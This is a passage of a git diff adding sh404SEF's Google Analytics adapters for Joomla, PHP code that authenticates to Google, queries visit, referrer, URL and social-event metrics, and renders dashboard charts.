perform request + * for connection to analytics service + * + */ + protected function _prepareConnectRequest() + { + + $hClient = Sh404sefHelperAnalytics::getHttpClient(); + + // set params + $hClient->setUri($this->_authPoint); + $hClient->setConfig(array('maxredirects' => 0, 'timeout' => 10)); + + // request details + $hClient->setMethod(Zendshl_Http_Client::POST); + $hClient->setEncType('application/x-www-form-urlencoded'); + + // request data + $postData = array('accountType' => 'GOOGLE', 'Email' => $this->_config->analyticsUser, 'Passwd' => $this->_config->analyticsPassword, + 'service' => 'analytics', 'source' => JFactory::getApplication()->getCfg('sitename') . '-sh404sef-' . $this->_config->version); + + $hClient->setParameterPost($postData); + } + + /** + * + * Handle response from connect request + * + */ + protected function _handleConnectResponse($response) + { + + // check if authentified + Sh404sefHelperAnalytics::verifyAuthResponse($response); + + // we are authorized, collect Auth token from body + $this->_extractAuthToken($response->getBody()); + + return true; + } + + protected function _fetchAccountsList() + { + + $hClient = Sh404sefHelperAnalytics::getHttpClient(); + $hClient->resetParameters($clearAll = true); + + // build the request + $sefConfig = Sh404sefFactory::getConfig(); + $accountIdBits = explode('-', trim($sefConfig->analyticsId)); + if (empty($accountIdBits) || count($accountIdBits) < 3) + { + throw new Sh404sefExceptionDefault(JText::sprintf('COM_SH404SEF_ERROR_CHECKING_ANALYTICS', 'Invalid account Id')); + } + $accoundId = $accountIdBits[1]; + + // set target API url + $hClient + ->setUri( + $this->_endPoint . 'management/accounts/' . $accoundId . '/webproperties/' . trim($sefConfig->analyticsId) . '/profiles?key=' + . $this->_getAppKey()); + + // make sure we use GET + $hClient->setMethod(Zendshl_Http_Client::GET); + + // set headers required by Google Analytics + $headers = array('GData-Version' => 2, 'Authorization' => 'GoogleLogin auth=' . $this->_Auth); + + $hClient->setHeaders($headers); + + //perform request + // establish connection with available methods + $adapters = array('Zendshl_Http_Client_Adapter_Curl', 'Zendshl_Http_Client_Adapter_Socket'); + $rawResponse = null; + + // perform connect request + foreach ($adapters as $adapter) + { + try + { + $hClient->setAdapter($adapter); + $response = $hClient->request(); + break; + } + catch (Exception $e) + { + // we failed, let's try another method + } + } + + // return if error + if (empty($response)) + { + $msg = 'unknown code'; + throw new Sh404sefExceptionDefault(JText::sprintf('COM_SH404SEF_ERROR_CHECKING_ANALYTICS', $msg)); + } + if (empty($response) || !is_object($response) || $response->isError()) + { + $msg = method_exists($response, 'getStatus') ? $response->getStatus() : 'unknown code'; + throw new Sh404sefExceptionDefault(JText::sprintf('COM_SH404SEF_ERROR_CHECKING_ANALYTICS', $msg)); + } + + // analyze response + // check if authentified + Sh404sefHelperAnalytics::verifyAuthResponse($response); + $xml = simplexml_load_string($response->getBody()); + + if (!empty($xml->entry)) + { + foreach ($xml->entry as $entry) + { + $account = new StdClass(); + $bits = explode('/', (string) $entry->id); + $account->id = array_pop($bits); + $account->title = str_replace('Google Analytics Profile ', '', (string) $entry->title); + $account->title = str_replace('Google Analytics View (Profile) ', '', $account->title); + $this->_accounts[] = clone ($account); + } + } + } + + /** + * prepare html filters to allow user to select the way she likes + * to view reports + */ + protected function _prepareFilters() + { + // array to hold various filters + $filters = array(); + + // find if we must display all filters. On dashboard, only a reduced set + $allFilters = $this->_options['showFilters'] == 'yes'; + + // select account to retrieve data for (or rather, profile + $customSubmit = ' onchange="shSetupAnalytics({' . ($allFilters ? '' : 'showFilters:\'no\'') . '});"'; + + if (version_compare(JVERSION, '3.0', 'ge')) + { + $select = '
'; + $select .= Sh404sefHelperHtml::buildSelectList($this->_accounts, $this->_options['accountId'], 'accountId', $autoSubmit = false, + $addSelectAll = false, $selectAllTitle = '', $customSubmit); + $select .= '
'; + $filters[] = $select; + + // dashboard only has account selection, no room for anything else + // only shows main selection drop downs on analytics view + if ($allFilters) + { + $select = '
'; + $select .= ''; + $select .= JHTML::_('calendar', $this->_options['startDate'], 'startDate', 'startDate', '%Y-%m-%d', array('class' => 'class="textinput"')); + $select .= '
'; + $filters[] = $select; + + $select = '
'; + $select .= ''; + $select .= JHTML::_('calendar', $this->_options['endDate'], 'endDate', 'endDate', '%Y-%m-%d', array('class' => 'class="textinput"')); + $select .= '
'; + $filters[] = $select; + + // select groupBy (day, week, month) + $select = '
'; + $select .= ''; + $select .= Sh404sefHelperAnalytics::buildAnalyticsGroupBySelectList($this->_options['groupBy'], 'groupBy', $autoSubmit = false, + $addSelectAll = false, $selectAllTitle = '', $customSubmit); + $select .= '
'; + $filters[] = $select; + + // add a click to update link + $filters[] = ' [' . JText::_('COM_SH404SEF_CHECK_ANALYTICS') . ']'; + + } + else + { + // on dashboard, there is no date select, so we must display the date range + $filters[] = ' ' . JText::_('COM_SH404SEF_ANALYTICS_DATE_RANGE') . ' 
' + . $this->_options['startDate'] . '  >>  ' . $this->_options['endDate'] . '
'; + } + } + else + { + $select = Sh404sefHelperHtml::buildSelectList($this->_accounts, $this->_options['accountId'], 'accountId', $autoSubmit = false, + $addSelectAll = false, $selectAllTitle = '', $customSubmit); + $filters[] = JText::_('COM_SH404SEF_ANALYTICS_ACCOUNT') . ': ' . $select; + + // dashboard only has account selection, no room for anything else + // only shows main selection drop downs on analytics view + if ($allFilters) + { + // select start date + $select = JHTML::_('calendar', $this->_options['startDate'], 'startDate', 'startDate', '%Y-%m-%d', array('class' => 'class="textinput"')); + $filters[] = ' ' . JText::_('COM_SH404SEF_ANALYTICS_START_DATE') . ': ' . $select; + + // select end date + $select = JHTML::_('calendar', $this->_options['endDate'], 'endDate', 'endDate', '%Y-%m-%d', array('class' => 'class="textinput"')); + $filters[] = ' ' . JText::_('COM_SH404SEF_ANALYTICS_END_DATE') . ': ' . $select; + + // select groupBy (day, week, month) + $select = Sh404sefHelperAnalytics::buildAnalyticsGroupBySelectList($this->_options['groupBy'], 'groupBy', $autoSubmit = false, + $addSelectAll = false, $selectAllTitle = '', $customSubmit); + $filters[] = ' ' . JText::_('COM_SH404SEF_ANALYTICS_GROUP_BY') . ': ' . $select; + + // add a click to update link + $filters[] = '  [' . JText::_('COM_SH404SEF_CHECK_ANALYTICS') . ']'; + } + else + { + // on dashboard, there is no date select, so we must display the date range + $filters[] = ' ' . JText::_('COM_SH404SEF_ANALYTICS_DATE_RANGE') . ' 
' + . $this->_options['startDate'] . '  >>  ' . $this->_options['endDate'] . '
'; + } + } + // use layout to render + return $filters; + } + + protected function _extractAuthToken($body) + { + $SID = explode('LSID=', $body); + $this->_SID = trim($SID[0]); + $this->_SID = ltrim($this->_SID, 'SID='); + + $LSID = explode('Auth=', $SID[1]); + $this->_LSID = trim($LSID[0]); + + $this->_Auth = trim($LSID[1]); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/analyticsgareportdashboard.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/analyticsgareportdashboard.php new file mode 100644 index 00000000..83753167 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/analyticsgareportdashboard.php @@ -0,0 +1,1013 @@ +_baseChartPath = sh404SEF_ADMIN_ABS_PATH . 'lib/pChart'; + + } + + /** + * + * @param object $config + * @param array $options + * @param object $client + */ + public function fetchData( $config, $options, $Auth, $endPoint, $appKey) { + + // store parameters + $this->_config = $config; + $this->_options = $options; + $this->_Auth = $Auth; + $this->_endPoint = $endPoint; + $this->_appKey = $appKey; + + // get a http client + $this->_client = Sh404sefHelperAnalytics::getHttpClient(); + + // response object + $this->_formatedResponse = new stdClass(); + + // read data from Google + $this->_getData(); + + // processing of global data always happens + $this->_addFiguresVisits(); + + // call methods to create each of the report sub parts + switch ($this->_options['subrequest']) { + + case 'visits': + // create a graph of visits + $this->_formatedResponse->images['visits'] = $this->_createVisitsGraph(); + break; + + case 'sources': + // create a graph of traffic sources + $this->_formatedResponse->images['sources'] = $this->_createSourcesGraph(); + break; + + case 'perf': + $this->_addCustomVars(); + break; + + case 'top5referrers': + $this->_addFiguresReferrers(); + break; + + case 'top5urls': + $this->_addFiguresUrls(); + break; + + case 'topsocialfb': + $this->_addFiguresSocialFB(); + break; + case 'topsocialtweeter': + $this->_addFiguresSocialTweeter(); + break; + case 'topsocialpinterest': + $this->_addFiguresSocialPinterest(); + break; + case 'topsocialplusone': + $this->_addFiguresSocialPlusOne(); + break; + case 'topsocialplusonepage': + $this->_addFiguresSocialPlusOnePage(); + break; + + } + + // send back to caller + return $this->_formatedResponse; + + } + + /** + * Make queries to Google API as needed + * to collect data required to build report + * + * The final report page is built using several ajax calls. The main dashboard template + * is first displayed, with only place holders for the various parts + * Then some javascript fired with the main dashboard display + * performs several requests, or "subrequests", each asking for a specific set + * of data or graphic + * Reason for this is to speed things up, as the whole request-google-respond-prepare graph + * can last 2 or 3 seconds. As there may be 6 or 7 requests, this adds up to more than 15 seconds + * Using several ajax calls allow doing all the requests in parallel, and the total time is + * not much longer than the time for the longest individual subrequest + * On the contrary, some delay between subrequests has been introduced + * as Google has/may refuse serving them if they exceed allowances, published as + * 4 concurrent requests max + * 10 req. per sec max + * + */ + protected function _getData() { + + // need config, to know which data user wants to display : visits, unique visitors, pageviews + $sefConfig = Sh404sefFactory::getConfig(); + + // set headers required by Google Analytics + $headers = array( + 'GData-Version' => 2 + , 'Authorization' => 'GoogleLogin auth=' . $this->_Auth + ); + + $this->_client->setHeaders( $headers); + + // 0 . Global data, needed in all queries to calculate % + + // build uri as needed to retrieve required data + $query = array( 'dimensions' => '' + , 'metrics' => 'ga:pageviews,ga:visits,ga:visitors,ga:bounces,ga:entrances,ga:timeOnSite,ga:newVisits' + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + , 'key' => $this->_appKey + ); + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'global'); + + // 0bis . Global social data, needed in all queries to calculate % + + // build uri as needed to retrieve required data + $query = array( 'dimensions' => 'ga:eventCategory,ga:eventAction' + , 'metrics' => 'ga:totalEvents,ga:visits' + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + ); + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'globalSocial'); + + // specific queries for each subrequest + switch ( $this->_options['subrequest']) { + + case 'visits': + + // 1 . query pageviews and visits + // build uri as needed to retrieve required data + $query = array( 'dimensions' => $this->_options['groupBy'] + , 'metrics' => $sefConfig->analyticsDashboardDataType + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + ); + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'visits'); + + break; + + case 'sources': + + // 2 . traffic sources + + // Google does not allow combining dimension=ga:medium with metric = unique visitors + $metric = $sefConfig->analyticsDashboardDataType == 'ga:visitors' ? + 'ga:visits' : $sefConfig->analyticsDashboardDataType; + + // build uri as needed to retrieve required data + $query = array( 'dimensions' => 'ga:medium' + , 'metrics' => $metric + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + ); + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'sources'); + + break; + + case 'perf': + + // 4 . Custom var : logged in users + // build uri as needed to retrieve required data + $query = array( 'dimensions' => 'ga:customVarValue' . SH404SEF_ANALYTICS_USER_CUSTOM_VAR + , 'metrics' => 'ga:pageviews' + , 'sort' => '-ga:pageviews' + , 'max-results' => '100' + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + ); + + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'logged-in-users'); + + // 5 . Custom var : page creation time + // build uri as needed to retrieve required data + $query = array( 'dimensions' => 'ga:customVarValue' . SH404SEF_ANALYTICS_TIME_CUSTOM_VAR + , 'metrics' => 'ga:pageviews' + , 'sort' => '-ga:pageviews' + , 'max-results' => '512' + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + ); + + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'page-creation-time'); + + break; + + case 'top5urls': + + // 6 . Top 5 urls + // build uri as needed to retrieve required data + $query = array( 'dimensions' => 'ga:pagePath' + , 'metrics' => 'ga:pageviews,ga:timeOnPage' + , 'sort' => '-ga:pageviews' + , 'max-results' => $this->_options['max-top-urls'] + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + ); + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'top5urls'); + + break; + + case 'top5referrers': + + // 7 . Top 5 referrer + + // Google does not allow combining dimension=ga:medium with metric = unique visitors + $metric = $sefConfig->analyticsDashboardDataType == 'ga:visitors' ? + 'ga:visits' : $sefConfig->analyticsDashboardDataType; + + // build uri as needed to retrieve required data + $query = array( 'dimensions' => 'ga:source,ga:referralPath' + , 'metrics' => $metric . ',ga:timeOnSite,ga:bounces,ga:newVisits' + , 'sort' => '-' . $metric + , 'max-results' => $this->_options['max-top-referrers'] + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + ); + + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'top5referrers'); + + break; + + case 'topsocialfb': + + // 8 . topSocial + + // build uri as needed to retrieve required data + $query = array( 'dimensions' => 'ga:eventCategory,ga:eventLabel,ga:eventAction' + , 'metrics' => 'ga:totalEvents,ga:pageviews,ga:timeOnPage' + , 'sort' => '-' . 'ga:totalEvents' + , 'filters' => 'ga:eventCategory==sh404SEF_social_tracker_facebook' + , 'max-results' => $this->_options['max-top-referrers'] + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + ); + + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'topSocialFB'); + + break; + case 'topsocialtweeter': + + // 8 . topSocial + + // build uri as needed to retrieve required data + $query = array( 'dimensions' => 'ga:eventCategory,ga:eventLabel,ga:eventAction' + , 'metrics' => 'ga:totalEvents,ga:pageviews,ga:timeOnPage' + , 'sort' => '-' . 'ga:totalEvents' + , 'filters' => 'ga:eventCategory==sh404SEF_social_tracker_tweeter' + , 'max-results' => $this->_options['max-top-referrers'] + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + ); + + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'topSocialTweeter'); + + break; + + case 'topsocialpinterest': + + // 8 . topSocial + + // build uri as needed to retrieve required data + $query = array( 'dimensions' => 'ga:eventCategory,ga:eventLabel,ga:eventAction' + , 'metrics' => 'ga:totalEvents,ga:pageviews,ga:timeOnPage' + , 'sort' => '-' . 'ga:totalEvents' + , 'filters' => 'ga:eventCategory==sh404SEF_social_tracker_pinterest' + , 'max-results' => $this->_options['max-top-referrers'] + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + ); + + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'topSocialPinterest'); + + break; + + case 'topsocialplusone': + + // 8 . topSocial + + // build uri as needed to retrieve required data + $query = array( 'dimensions' => 'ga:eventCategory,ga:eventLabel,ga:eventAction' + , 'metrics' => 'ga:totalEvents,ga:pageviews,ga:timeOnPage' + , 'sort' => '-' . 'ga:totalEvents' + , 'filters' => 'ga:eventCategory==sh404SEF_social_tracker_gplus' + , 'max-results' => $this->_options['max-top-referrers'] + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + ); + + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'topSocialPlusOne'); + + break; + case 'topsocialplusonepage': + + // 8 . topSocial + + // build uri as needed to retrieve required data + $query = array( 'dimensions' => 'ga:eventCategory,ga:eventLabel,ga:eventAction' + , 'metrics' => 'ga:totalEvents,ga:pageviews,ga:timeOnPage' + , 'sort' => '-' . 'ga:totalEvents' + , 'filters' => 'ga:eventCategory==sh404SEF_social_tracker_gplus_page' + , 'max-results' => $this->_options['max-top-referrers'] + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + ); + + + // use method to build the correct url + $uri = $this->_buildQueryUri( $query); + + // set target API url + $this->_client->setUri( $uri); + + // perform query + $this->_query( 'topSocialPlusOnePage'); + + break; + + } + + } + + protected function _addFiguresVisits() { + + if (!empty($this->_rawData['global'][0])) { + $this->_formatedResponse->global = $this->_rawData['global'][0]; + $this->_formatedResponse->global->bounceRate = empty($this->_formatedResponse->global->entrances) ? 0 : $this->_formatedResponse->global->bounces / $this->_formatedResponse->global->entrances; + $this->_formatedResponse->global->avgTimeOnSite = empty($this->_formatedResponse->global->visits) ? 0 : $this->_formatedResponse->global->timeOnSite / $this->_formatedResponse->global->visits; + $this->_formatedResponse->global->newVisitsPerCent = empty($this->_formatedResponse->global->visits) ? 0 : $this->_formatedResponse->global->newVisits / $this->_formatedResponse->global->visits; + $this->_formatedResponse->global->pagesPerVisit = empty($this->_formatedResponse->global->visits) ? 0 : $this->_formatedResponse->global->pageviews / $this->_formatedResponse->global->visits; + } else { + $this->_formatedResponse->global = new stdClass(); + $this->_formatedResponse->global->visits = 0; + $this->_formatedResponse->global->visitors = 0; + $this->_formatedResponse->global->pageviews = 0; + $this->_formatedResponse->global->bounceRate = 0; + $this->_formatedResponse->global->avgTimeOnSite = 0; + $this->_formatedResponse->global->newVisitsPerCent = 0; + $this->_formatedResponse->global->pagesPerVisit = 0; + } + // add social engagement global values + $this->_formatedResponse->global->totalSocialEvents = 0; + $this->_formatedResponse->global->sh404SEF_social_tracker_facebook = 0; + $this->_formatedResponse->global->sh404SEF_social_tracker_gplus = 0; + $this->_formatedResponse->global->sh404SEF_social_tracker_tweeter = 0; + $this->_formatedResponse->global->sh404SEF_social_tracker_pinterest = 0; + $this->_formatedResponse->global->sh404SEF_social_tracker_gplus_page = 0; + $this->_formatedResponse->global->visitsWithSocialEngagement = 0; + if(!empty( $this->_rawData['globalSocial'])) { + foreach($this->_rawData['globalSocial'] as $entry) { + $cat = $entry->dimension['eventCategory']; + $action = $entry->dimension['eventAction']; + switch($entry->dimension['eventCategory']) { + case 'sh404SEF_social_tracker_facebook': + $this->_formatedResponse->global->visitsWithSocialEngagement += $entry->visits; + if($action == 'like') { + $this->_formatedResponse->global->totalSocialEvents += $entry->totalEvents; + $this->_formatedResponse->global->$cat += $entry->totalEvents; + } else { + $this->_formatedResponse->global->totalSocialEvents -= $entry->totalEvents; + $this->_formatedResponse->global->$cat -= $entry->totalEvents; + } + break; + case 'sh404SEF_social_tracker_gplus': + $this->_formatedResponse->global->visitsWithSocialEngagement += $entry->visits; + if($action == 'on') { + $this->_formatedResponse->global->totalSocialEvents += $entry->totalEvents; + $this->_formatedResponse->global->$cat += $entry->totalEvents; + } else { + $this->_formatedResponse->global->totalSocialEvents -= $entry->totalEvents; + $this->_formatedResponse->global->$cat -= $entry->totalEvents; + } + break; + case 'sh404SEF_social_tracker_tweeter': + case 'sh404SEF_social_tracker_pinterest': + case 'sh404SEF_social_tracker_gplus_page': + $this->_formatedResponse->global->visitsWithSocialEngagement += $entry->visits; + $this->_formatedResponse->global->totalSocialEvents += $entry->totalEvents; + $this->_formatedResponse->global->$cat += $entry->totalEvents; + break; + } + } + $this->_formatedResponse->global->visitsWithSocialEngagement = + empty($this->_formatedResponse->global->visits) ? 0 : $this->_formatedResponse->global->visitsWithSocialEngagement / $this->_formatedResponse->global->visits; + } + + } + + protected function _addFiguresUrls() { + + $this->_formatedResponse->top5urls = array(); + foreach( $this->_rawData['top5urls'] as $entry) { + $entry->avgTimeOnPage = empty($entry->pageviews) ? 0 : $entry->timeOnPage / $entry->pageviews; + $entry->pageviewsPerCent = empty($this->_formatedResponse->global->pageviews) ? 0 : $entry->pageviews / $this->_formatedResponse->global->pageviews; + $this->_formatedResponse->top5urls[] = $entry; + } + + } + + protected function _addFiguresSocialFB() { + + $this->_formatedResponse->topSocialFB = array(); + foreach( $this->_rawData['topSocialFB'] as $entry) { + $entry->avgTimeOnPage = empty($entry->pageviews) ? 0 : $entry->timeOnPage / $entry->pageviews; + $entry->eventsPerCent = empty($this->_formatedResponse->global->totalSocialEvents) ? 0 : $entry->totalEvents / $this->_formatedResponse->global->totalSocialEvents; + $this->_formatedResponse->topSocialFB[] = $entry; + } + + } + + protected function _addFiguresSocialTweeter() { + + $this->_formatedResponse->topSocialTweeter = array(); + foreach( $this->_rawData['topSocialTweeter'] as $entry) { + $entry->avgTimeOnPage = empty($entry->pageviews) ? 0 : $entry->timeOnPage / $entry->pageviews; + $entry->eventsPerCent = empty($this->_formatedResponse->global->totalSocialEvents) ? 0 : $entry->totalEvents / $this->_formatedResponse->global->totalSocialEvents; + $this->_formatedResponse->topSocialTweeter[] = $entry; + } + + } + + protected function _addFiguresSocialPinterest() { + + $this->_formatedResponse->topSocialPinterest = array(); + foreach( $this->_rawData['topSocialPinterest'] as $entry) { + $entry->avgTimeOnPage = empty($entry->pageviews) ? 0 : $entry->timeOnPage / $entry->pageviews; + $entry->eventsPerCent = empty($this->_formatedResponse->global->totalSocialEvents) ? 0 : $entry->totalEvents / $this->_formatedResponse->global->totalSocialEvents; + $this->_formatedResponse->topSocialPinterest[] = $entry; + } + + } + + protected function _addFiguresSocialPlusOne() { + + $this->_formatedResponse->topSocialPlusOne = array(); + foreach( $this->_rawData['topSocialPlusOne'] as $entry) { + $entry->avgTimeOnPage = empty($entry->pageviews) ? 0 : $entry->timeOnPage / $entry->pageviews; + $entry->eventsPerCent = empty($this->_formatedResponse->global->totalSocialEvents) ? 0 : $entry->totalEvents / $this->_formatedResponse->global->totalSocialEvents; + $this->_formatedResponse->topSocialPlusOne[] = $entry; + } + + } + + protected function _addFiguresSocialPlusOnePage() { + + $this->_formatedResponse->topSocialPlusOnePage = array(); + foreach( $this->_rawData['topSocialPlusOnePage'] as $entry) { + $entry->avgTimeOnPage = empty($entry->pageviews) ? 0 : $entry->timeOnPage / $entry->pageviews; + $entry->eventsPerCent = empty($this->_formatedResponse->global->totalSocialEvents) ? 0 : $entry->totalEvents / $this->_formatedResponse->global->totalSocialEvents; + $this->_formatedResponse->topSocialPlusOnePage[] = $entry; + } + + } + + protected function _addFiguresReferrers() { + + // need config, to know which data user wants to display : visits, unique visitors, pageviews + $sefConfig = Sh404sefFactory::getConfig(); + // Google does not allow combining dimension=ga:medium with metric = unique visitors + $metric = $sefConfig->analyticsDashboardDataType == 'ga:visitors' ? + 'ga:visits' : $sefConfig->analyticsDashboardDataType; + + $dataTypeString = str_replace( 'ga:', '', $metric); + + $this->_formatedResponse->top5referrers = array(); + foreach( $this->_rawData['top5referrers'] as $entry) { + $entry->views = $entry->$dataTypeString; + $entry->avgTimeOnSite = empty($entry->$dataTypeString) ? 0 : $entry->timeOnSite / $entry->$dataTypeString; + $entry->bounceRate = empty($entry->$dataTypeString) ? 0 : $entry->bounces / $entry->$dataTypeString; + $entry->viewsPerCent = empty($this->_formatedResponse->global->$dataTypeString) ? 0 : $entry->$dataTypeString / $this->_formatedResponse->global->$dataTypeString; + $this->_formatedResponse->top5referrers[] = $entry; + } + + + } + + protected function _addCustomVars() { + + $this->_formatedResponse->perf = new stdClass(); + + // prepare time and memory calculation + $field = 'customVarValue' . SH404SEF_ANALYTICS_TIME_CUSTOM_VAR; + $totalPages = 0; + $totalTime = 0; + $totalMemory = 0; + + // now iterate over time and memory records + foreach( $this->_rawData['page-creation-time'] as $entry) { + $record = intval( $entry->dimension[$field]); // make it an int, this will remove dev data that had decimals + + // sanitize + $record = $record < 3 ? 0 : $record; + + // we only calculate averaged on pages we have time and ram data for + if (!empty( $record)) { + // separate time and memory + $time = $record >> 4; // bits 5 and up + $memory = $record & 15; // bits 1 to 4 + + // aggregate + $totalPages += $entry->pageviews; + $totalTime += Sh404sefHelperAnalytics::declassifyTime( $time) * $entry->pageviews; + $totalMemory += Sh404sefHelperAnalytics::declassifyMemory( $memory) * $entry->pageviews; + + } + } + + // calculate averages time and ram now + $this->_formatedResponse->perf->avgPageCreationTime = empty($totalPages) ? 0 : $totalTime / $totalPages; + $this->_formatedResponse->perf->avgMemoryUsed = empty($totalPages) ? 0 : $totalMemory / $totalPages; + + // logged in users handling + $field = 'customVarValue' . SH404SEF_ANALYTICS_USER_CUSTOM_VAR; + $groups = Sh404sefHelperGeneral::getUserGroups('title'); + $loggedInPages = 0; + foreach( $this->_rawData['logged-in-users'] as $entry) { + $userType = urldecode( $entry->dimension[$field]); + // if user was logged in, any group, including "Public Frontend" + if (in_array( $userType, $groups)) { + // include # of pages + $loggedInPages += $entry->pageviews; + } + } + + $this->_formatedResponse->perf->loggedInUserRate = empty($this->_formatedResponse->global->pageviews) ? 0 : $loggedInPages / $this->_formatedResponse->global->pageviews; + + } + + + protected function _createVisitsGraph() { + + // load pChart graphic library + $this->_loadLibs(); + + // définition des données à afficher + $dataSet = new pData(); + + // need config, to know which data user wants to display : visits, unique visitors, pageviews + $sefConfig = Sh404sefFactory::getConfig(); + $dataTypeString = str_replace( 'ga:', '', $sefConfig->analyticsDashboardDataType); + + // get data from response + $data = array(); + $maxY = 0; + foreach( $this->_rawData['visits'] as $entry) { + $data[] = $entry->$dataTypeString; + if($entry->$dataTypeString > $maxY) { + $maxY = $entry->$dataTypeString; + } + } + + // format dates + $dates = Sh404sefHelperAnalytics::formatAbciseDates( $this->_rawData['visits'], $this->_options); + + $dataSet->AddPoint($data, $dataTypeString); + $dataSet->AddPoint($dates,"dates"); + $dataSet->addSerie($dataTypeString); + $dataSet->SetAbsciseLabelSerie("dates"); + $label = JText::_( 'COM_SH404SEF_ANALYTICS_DATA_' . strtoupper( $dataTypeString)); + $dataSet->SetSerieName( $label, $dataTypeString); + + // Initialise the graph + $w = $this->_options['cpWidth']; + $w = empty( $w) ? 400 : intval($w - 40); + $h = 225; + $centreX = intval(0.50 * $w); + $centreY = intval(0.5 * $h); + $chart = new pChart( $w, $h); + $fontSize = 8; + // calculate left margin based on max value to display + $leftMargin = 20 + $fontSize + 20 + $fontSize * strlen( $maxY); + $bottomMargin = 5 + $fontSize * 6; + + switch ($this->_options['groupBy']) { + case 'ga:year,ga:month,ga:week,ga:day': + $YAxisName = JText::_( 'Day'); + break; + // date string represents a week number + case 'ga:year,ga:month,ga:week': + $YAxisName = JText::_( 'Week'); + break; + case 'ga:year,ga:month': + $YAxisName = JText::_( 'Month'); + break; + } + + $dataSet->SetYAxisName( $label . JText::_('COM_SH404SEF_ANALYTICS_REPORT_PER_LABEL') . $YAxisName); + $chart->setFontProperties( $this->_baseChartPath . '/Fonts/arial.ttf',$fontSize); + $chart->setGraphArea( $leftMargin,30,$w-20,$h-$bottomMargin); + $chart->drawFilledRoundedRectangle(7,7,$w-7,$h-7,5,240,240,240); + $chart->drawRoundedRectangle(5,5,$w-5,$h-5,5,230,230,230); + $chart->drawGraphArea(255,255,255,TRUE); + $d = $dataSet->GetData(); + if (!empty( $d)) { + $chart->drawScale($d,$dataSet->GetDataDescription(),SCALE_NORMAL,150,150,150,TRUE,60,0, false); + $chart->drawGrid(4,TRUE,230,230,230,50); + + // Draw the 0 line + $chart->setFontProperties( $this->_baseChartPath . '/Fonts/arial.ttf',$fontSize); + + $chart->drawTreshold(0,143,55,72,TRUE,TRUE); + + // Draw the line graph + $chart->drawLineGraph($d,$dataSet->GetDataDescription()); + $chart->drawPlotGraph($d, $dataSet->GetDataDescription(),3,2,255,255,255); + } + + // create a temporary file for + $user = JFactory::getUser(); + + // make sure the root tmp dir exists + Sh404sefHelperFiles::createDirAndIndex( JPATH_ROOT . '/' . $this->_tmpImagesPath); + + // file name is per user + $basePath = $this->_tmpImagesPath . '/' . md5( 'useless_' . $user->id . '_hashing') . '/'; + + // create path and make sure there's an index.html file in it + Sh404sefHelperFiles::createDirAndIndex( JPATH_ROOT . '/' . $basePath); + + $imageFileName = Sh404sefHelperAnalytics::createTempFile( $basePath, $this->_options['report'] . '.' . $this->_options['accountId'] . '.visits.' . $dataTypeString); + $chart->Render( JPATH_ROOT . '/' . $imageFileName); + + // need cleaning up, so let's remove all report files for that user older than an hour or so + Sh404sefHelperAnalytics::cleanReportsImageFiles( JPATH_ROOT . '/' . $basePath, $age = 4000); + + return JURI::root() . $imageFileName; + } + + protected function _createSourcesGraph() { + + // load pChart graphic library + $this->_loadLibs(); + + // définition des données à afficher + $dataSet = new pData(); + + // need config, to know which data user wants to display : visits, unique visitors, pageviews + $sefConfig = Sh404sefFactory::getConfig(); + + // Google does not allow combining dimension=ga:medium with metric = unique visitors + $dataType = $sefConfig->analyticsDashboardDataType == 'ga:visitors' ? + 'ga:visits' : $sefConfig->analyticsDashboardDataType; + $dataTypeString = str_replace( 'ga:', '', $dataType); + + // sort data for proper display + usort( $this->_rawData['sources'], array($this, '_sortSourcesDataCompareFunction')); + + // we walk the array, pulling out alternatively + // the first and last items + // making the new array having the largest item + // followed by the smallest, then second largest + // then second smallest, ... + // which makes drawing labels much easier + $tmpArray = array(); + $even = false; + $max = count($this->_rawData['sources']); + for( $i = 0; $i < $max; $i++) { + if ($even) { + // pull last item in sorted array + $tmpArray[] = array_pop( $this->_rawData['sources']); + } else { + // pull array first item + $tmpArray[] = array_shift( $this->_rawData['sources']); + } + // flag inversion + $even = !$even; + }; + + // get data from response + $data = 